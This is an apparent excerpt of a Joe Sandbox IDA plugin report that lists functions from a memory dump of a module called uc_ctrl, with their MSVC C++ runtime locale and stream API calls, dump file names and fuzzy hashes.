Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038), ref: 6C94F6E6

Part of subcall function 6C946200: __EH_prolog3_catch.LIBCMT ref: 6C946207
Part of subcall function 6C946200: ??$_Getvals@_W@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEX_WABV_Locinfo@1@@Z.MSVCP140(00000000,?,00000008,6C942119,?,00000004,6C9420D1,00000000,00000000,0000003C,6C949B04,?,?,00000000,?,?), ref: 6C946223
Part of subcall function 6C946200: _Getdateorder.MSVCP140(00000000,?,00000008,6C942119,?,00000004,6C9420D1,00000000,00000000,0000003C,6C949B04,?,?,00000000,?,?), ref: 6C946228

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6C94F6EE

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3U?$char_traits@_V?$istreambuf_iterator@_W@std@@@std@@@std@@$??$_??0_??1_ExceptionGetdateorderGetvals@_H_prolog3_catchInit@?$time_get@_Locinfo@1@@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@W@?$time_get@__lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 1884151844-0
Opcode ID: 16f64bb3cd3003df5c85e5a6fb59ac666b102b8b775e60d2adb1d368cf388ddf
Instruction ID: 0a18f256ac7c98d7d2fde734550a408537855247a643d7cad945269ae5d1163f
Opcode Fuzzy Hash: 16f64bb3cd3003df5c85e5a6fb59ac666b102b8b775e60d2adb1d368cf388ddf
Instruction Fuzzy Hash: F3F092719116189BCB00EFA4C5416DDB7B8BF34758F908059E445E7780DB74DB1DCBA1

Function 6C9337C0 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9337C7
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038), ref: 6C9337E9

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

ctype.LIBCPMT(?,00000038), ref: 6C9337F8

Part of subcall function 6C9338F0: _Getctype.MSVCP140(?,?,?,00000000,?,?,6C933839,?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001), ref: 6C9338FF
Part of subcall function 6C9338F0: _Getcvt.MSVCP140(?,?,?,?,00000000,?,?,6C933839,?,00000004,6C9338A1,00000000,00000000,0000003C,6C93E0B3,00000001), ref: 6C933911

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038), ref: 6C933800

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGetctypeGetcvtLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesctypestd::bad_exception::bad_exception
String ID:
API String ID: 4148237857-0
Opcode ID: 4663863340e77e11e61a4816820dc5a787eb70f3ae523d5074fcfdfdde23daa2
Instruction ID: b7cb13a071edb7b3e4b69fdbb073fc201db5ec02a9a2980037f8f0779f7259b3
Opcode Fuzzy Hash: 4663863340e77e11e61a4816820dc5a787eb70f3ae523d5074fcfdfdde23daa2
Instruction Fuzzy Hash: 3BE092719216188BCB00EFA4C541ADDB7B4AF34358F904069E445A7B90DB78DB0EC7A5

Function 6C94F700 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94F707
??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(6C925578,00000038,6C94EB97,00000000), ref: 6C94F729

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

?_Init@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6C94EB97,00000000), ref: 6C94F738

Part of subcall function 6C946200: __EH_prolog3_catch.LIBCMT ref: 6C946207
Part of subcall function 6C946200: ??$_Getvals@_W@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEX_WABV_Locinfo@1@@Z.MSVCP140(00000000,?,00000008,6C942119,?,00000004,6C9420D1,00000000,00000000,0000003C,6C949B04,?,?,00000000,?,?), ref: 6C946223
Part of subcall function 6C946200: _Getdateorder.MSVCP140(00000000,?,00000008,6C942119,?,00000004,6C9420D1,00000000,00000000,0000003C,6C949B04,?,?,00000000,?,?), ref: 6C946228

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6C94EB97,00000000), ref: 6C94F740

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3U?$char_traits@_V?$istreambuf_iterator@_W@std@@@std@@@std@@$??$_??0_??1_ExceptionGetdateorderGetvals@_H_prolog3_catchInit@?$time_get@_Locinfo@1@@Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@W@?$time_get@__lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 1884151844-0
Opcode ID: 086058ed618aa942c47e222afbe2af28c2a45ab9b03b5ec228b1c276914cb2d2
Instruction ID: 9a7b190528f7d67d941c4cf73ff1eab758d06151cc934cefbff778d97e6582ed
Opcode Fuzzy Hash: 086058ed618aa942c47e222afbe2af28c2a45ab9b03b5ec228b1c276914cb2d2
Instruction Fuzzy Hash: 3AE092719216189BCB00EFA4C541ADDB7B86F34758F908069E045E7B90DB78DB09C7A1

Function 6C935E80 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C935E87
new.LIBCMT ref: 6C935E96

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000), ref: 6C935EA3

Part of subcall function 6C93B490: __EH_prolog3.LIBCMT ref: 6C93B497
Part of subcall function 6C93B490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
Part of subcall function 6C93B490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5
Part of subcall function 6C93B490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD
Part of subcall function 6C93B490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3
Part of subcall function 6C93B490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IAEXXZ.MSVCP140(00000000), ref: 6C935EB2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_??4?$_D@std@@Init@?$basic_streambuf@_Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleU?$char_traits@_V01@V123@_W@std@@@std@@Yarn@_lock_localesmallocstd::locale::_
String ID:
API String ID: 119050520-0
Opcode ID: 35ab294daac24f738313235f405970bc19acb87b29c164e64f69a8fbfba1f37e
Instruction ID: eab9706b9b0437bb9494b5e43a1850c75b48ae4e554aa3ee9496bbd8cc5125e7
Opcode Fuzzy Hash: 35ab294daac24f738313235f405970bc19acb87b29c164e64f69a8fbfba1f37e
Instruction Fuzzy Hash: 25E08C326027019BE704EB6485123AC62B1BB70A28F94800AD1088FFC0DFB9D8288799

Function 6C93DEE0 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93DEE7
new.LIBCMT ref: 6C93DEF6

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000), ref: 6C93DF03

Part of subcall function 6C93B490: __EH_prolog3.LIBCMT ref: 6C93B497
Part of subcall function 6C93B490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
Part of subcall function 6C93B490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5
Part of subcall function 6C93B490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD
Part of subcall function 6C93B490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3
Part of subcall function 6C93B490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IAEXXZ.MSVCP140(00000000), ref: 6C93DF12

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_??4?$_D@std@@Init@?$basic_streambuf@_Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleU?$char_traits@_V01@V123@_W@std@@@std@@Yarn@_lock_localesmallocstd::locale::_
String ID:
API String ID: 119050520-0
Opcode ID: b1e544c93cce869d708cb4d557cc5bef6d8db733f23f74702e3a8ba46d3e0cd8
Instruction ID: 2c026eeef5faf64dc5a5295773dc7708ddfa69cfc2caf23eeb53b77314fccf84
Opcode Fuzzy Hash: b1e544c93cce869d708cb4d557cc5bef6d8db733f23f74702e3a8ba46d3e0cd8
Instruction Fuzzy Hash: 1DE08C316027019BE304EB6485023AC62B1BF70628FA48009D1088FFC0DFBAD8288799

Function 6C93D790 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93D797
new.LIBCMT ref: 6C93D7A6

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000), ref: 6C93D7B3

Part of subcall function 6C93B490: __EH_prolog3.LIBCMT ref: 6C93B497
Part of subcall function 6C93B490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
Part of subcall function 6C93B490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5
Part of subcall function 6C93B490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD
Part of subcall function 6C93B490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3
Part of subcall function 6C93B490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

?_Init@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@IAEXXZ.MSVCP140(00000000), ref: 6C93D7C2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_??4?$_D@std@@Init@?$basic_streambuf@_Init@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleU?$char_traits@_V01@V123@_W@std@@@std@@Yarn@_lock_localesmallocstd::locale::_
String ID:
API String ID: 119050520-0
Opcode ID: 984561a20f6eb258609467a1030841ebd25802b6c208bb7ab1c74eed52d53743
Instruction ID: 632c32ec702398e0a7edbf2256768675533f34c39c7ed28c9c1d2e6b704898c2
Opcode Fuzzy Hash: 984561a20f6eb258609467a1030841ebd25802b6c208bb7ab1c74eed52d53743
Instruction Fuzzy Hash: A9E08C316027019BE304EB6485023AC62B1BB70A28F948009D1088FFC0DFB9D8288799

Function 6C92AA10 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C92AA15
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C92AA1F
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C92AA27
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C92AA30

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: __acrt_iob_func$fputcfputs
String ID:
API String ID: 384373759-0
Opcode ID: e04be911d0b4cb80abda3981895a38add7b1c91b0cbaacf10e3871d414c3e8d4
Instruction ID: 841a1ed6cfb03ba73ecd93f1d3c869d8b73299072b8103cc7d8c5803aa76ca9b
Opcode Fuzzy Hash: e04be911d0b4cb80abda3981895a38add7b1c91b0cbaacf10e3871d414c3e8d4
Instruction Fuzzy Hash: 15D09E7134A284ABFB002BE4CC0EB697F3CEB07705F204514B607860A1CEA145548B62

Function 6C93A400 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 318COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93A407

Part of subcall function 6C93B0F3: __EH_prolog3.LIBCMT ref: 6C93B0FA
Part of subcall function 6C93B0F3: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C93B105
Part of subcall function 6C93B0F3: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C93B11D
Part of subcall function 6C93B0F3: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C93B17F

Part of subcall function 6C93A771: _Mpunct.LIBCPMT ref: 6C93A77C

Part of subcall function 6C93AEBE: ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C93B1AA,00000000,?,6C93A481,?,?,?,?,00000800,00000000), ref: 6C93AEC7

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6C93A45A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?sgetc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_lock_locales
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 1148379127-2799312399
Opcode ID: 52ee743585ddf164d14027cad5e9d1610a4db621472f42e5c0d7ddd33e854597
Instruction ID: af722f15fa93adba59d4838114e23c6ed0106512af803bc120cd9742a67eb283
Opcode Fuzzy Hash: 52ee743585ddf164d14027cad5e9d1610a4db621472f42e5c0d7ddd33e854597
Instruction Fuzzy Hash: F5C1D430E092A88EDF11CFE884947EDBBB66F51308F686159C49D6F746CB24D94AC750

Function 6C945CD0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 307COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C945CDA

Part of subcall function 6C949D21: __EH_prolog3.LIBCMT ref: 6C949D28
Part of subcall function 6C949D21: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6C949D33
Part of subcall function 6C949D21: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C949D4B
Part of subcall function 6C949D21: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C949DAD

Part of subcall function 6C93A771: _Mpunct.LIBCPMT ref: 6C93A77C

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6C945D3A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?sgetc@?$basic_streambuf@_Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_W@std@@@std@@_lock_locales
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3682361762-2799312399
Opcode ID: 78e3252de1fd8c7a0d846bce41ae204c1edbe0696521bee0575213e8ee617f43
Instruction ID: 7eef2edd220264e0d3c2fec59ea69b6a2e7c6afa222cdd7da879ee4361ca8d42
Opcode Fuzzy Hash: 78e3252de1fd8c7a0d846bce41ae204c1edbe0696521bee0575213e8ee617f43
Instruction Fuzzy Hash: 89C1B670E092588BDF11CFA9C4807EDBBB5BF21308F54C199D849ABA46DB74DC89CB91

Function 6C947DE0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 307COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C947DEA

Part of subcall function 6C949686: __EH_prolog3.LIBCMT ref: 6C94968D
Part of subcall function 6C949686: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E676,?,?,?,?,?,?,?,?,00000000), ref: 6C949698
Part of subcall function 6C949686: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,?,?,?,?,00000000), ref: 6C9496B0
Part of subcall function 6C949686: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C949712

Part of subcall function 6C93A771: _Mpunct.LIBCPMT ref: 6C93A77C

Part of subcall function 6C948AFE: ?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,6C94A40A,?,?,?,?,?,6C93F3F7,00000014), ref: 6C948B07

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6C947E4A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?sgetc@?$basic_streambuf@_Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_W@std@@@std@@_lock_locales
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3682361762-2799312399
Opcode ID: cd0fd040935eba54af720995594d1b6e034cb787d70742d4c352396680ce0669
Instruction ID: d85ca7e6288a7a9929d6ad98348874dec88de7ed0df22c5638ab5940e9e8dd7c
Opcode Fuzzy Hash: cd0fd040935eba54af720995594d1b6e034cb787d70742d4c352396680ce0669
